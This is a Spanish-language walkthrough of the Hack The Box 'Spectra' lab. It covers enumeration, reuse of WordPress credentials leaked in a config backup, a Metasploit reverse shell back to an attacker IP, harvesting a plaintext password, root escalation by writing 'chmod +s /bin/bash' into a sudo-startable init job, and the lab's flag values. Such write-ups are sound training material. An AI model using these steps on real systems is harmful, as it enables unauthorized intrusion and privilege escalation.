Spectra es un desafío con una complejidad fácil que verifica tus habilidades para explotar los errores de configuración de usuarios, enumeración, explotación de WordPress y la escalada básica de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
nmap 10.10.10.229
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-15 20:56 CEST
Nmap scan report for spectra.htb (10.10.10.229)
Host is up (0.045s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3306/tcp open mysql
8081/tcp open blackice-icecap
Podemos comprobar que tiene el puerto 80 abierto, por lo tanto lo primero que vamos hacer es acceder a la web
![](https://red-orbita.com/wp-content/uploads/2021/05/image-1024x180.png)
Al presionar sobre el link de «Software Issue Tracket» nos redirige a http://spectra.htb/main/ la cual no puede resolver el DNS. así que lo agregamos a nuestro /etc/hosts
echo "10.10.10.229 spectra.htb" >> /etc/hosts
Una vez hemos agregado a nuestro fichero /etec/hosts la linea podemos comprobar que corre un wordpress en el que tiene un post publicado con el usuario «Administrator»
![](https://red-orbita.com/wp-content/uploads/2021/05/image-1-1024x548.png)
Lanzamos el wpscan en busca de algo que nos pudiese interesar y no encontramos nada. Lanzamos dirb para fuzzear la web y encontramos el siguiente directorio
---- Scanning URL: http://10.10.10.229/ ----
+ http://10.10.10.229/index.html (CODE:200|SIZE:283)
==> DIRECTORY: http://10.10.10.229/main/
==> DIRECTORY: http://10.10.10.229/testing/
Accedemos a http://10.10.10.229/testing/ y encontramos una copia del fichero de configuración
![](https://red-orbita.com/wp-content/uploads/2021/05/image-2-1024x286.png)
En dicho fichero de configuración encontramos el usuario y contraseña de la base de datos.
/** The name of the database for WordPress */
define( 'DB_NAME', 'dev' );
/** MySQL database username */
define( 'DB_USER', 'devtest' );
/** MySQL database password */
define( 'DB_PASSWORD', 'devteam01' );
/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );
/** The Database Collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );
Logramos acceder mediante el usuario administrator y la contraseña de la base de datos «devteam01»
![](https://red-orbita.com/wp-content/uploads/2021/05/image-3-1024x509.png)
Tratamos de modificar el fichero header.php para obtener una reverse shell pero a la hora de guardar los datos no se guarda correctamente.
Para obtener una reverse shell empleamos wp_admin_shell_upload de metasploit
msfconsole
use exploit/unix/webapp/wp_admin_shell_upload
set TARGETURI /main
set rhosts spectra.htb
set USERNAME administrator
set PASSWORD devteam01
set lhost 10.10.14.161
exploit
![](https://red-orbita.com/wp-content/uploads/2021/05/image-4-1024x487.png)
![](https://red-orbita.com/wp-content/uploads/2021/05/image-5-1024x718.png)
Una vez obtenido la sesión de meterpreter accedemos a una shell bash
![](https://red-orbita.com/wp-content/uploads/2021/05/image-6.png)
Comprobamos que somos el usuario nginx el cual no tiene permisos para nada y la primera flag se encuentra en el home del usuario /home/katie
bash-4.3$ ls -lst /home/katie
ls -lst /home/katie
total 8
4 -r-------- 1 katie katie 33 Feb 2 15:57 user.txt
4 drwxr-xr-x 2 katie katie 4096 Jan 15 15:55 log
Comienzo a enumerar en los history de los usuarios, logs, procesos en busca de algo que nos puede ayudar a elevar privilegios.
En dicha enumeración lanzamos un find en busca de palabras claves como «password» o «passwd» enctre otras
find / -path /sys -prune -o -path /proc -prune -o -type f -name passwd
En dicha busqueda encontramos el fichero «/etc/autologin/passwd» el cual parece tener una contraseña en texto plano.
![](https://red-orbita.com/wp-content/uploads/2021/05/image-7.png)
cat /etc/autologin/passwd
SummerHereWeCome!!
Intentamos acceder mediante ssh con el usuario katia y la contraseña que acabamos de encontrar
![](https://red-orbita.com/wp-content/uploads/2021/05/image-8.png)
Obtenemos la primera flag
-bash-4.3$ cat user.txt
e89d27fe195e9114ffa72ba8913a6130
![](https://red-orbita.com/wp-content/uploads/2021/05/image-9.png)
Comprobamos los privilegios que tiene el usuario:
![](https://red-orbita.com/wp-content/uploads/2021/05/image-10.png)
Comprobamos que tenemos permisos de root bajo el comando /sbin/initctl el cual nos puede servir para elevar privilegios
Listamos los procesos que tienen privilegios de root
sudo -u root /sbin/initctl list
![](https://red-orbita.com/wp-content/uploads/2021/05/image-11.png)
vemos que tenemos uno que se llama test2, lo modificamos en el cual agregamos la siguiente linea: «chmod +s /bin/bash
vi /etc/init/test2.config
![](https://red-orbita.com/wp-content/uploads/2021/05/image-12.png)
Iniciamos el servicio
-bash-4.3$ sudo /sbin/initctl start test2
test2 start/running, process 109698
![](https://red-orbita.com/wp-content/uploads/2021/05/image-13.png)
Escalamos privilegios como root
![](https://red-orbita.com/wp-content/uploads/2021/05/image-14.png)
Por ultimo obtenemos la flag de root
![](https://red-orbita.com/wp-content/uploads/2021/05/image-15.png)
cat /root/root.txt
d44519713b889d5e1f9e536d0c6df2fc
:wq!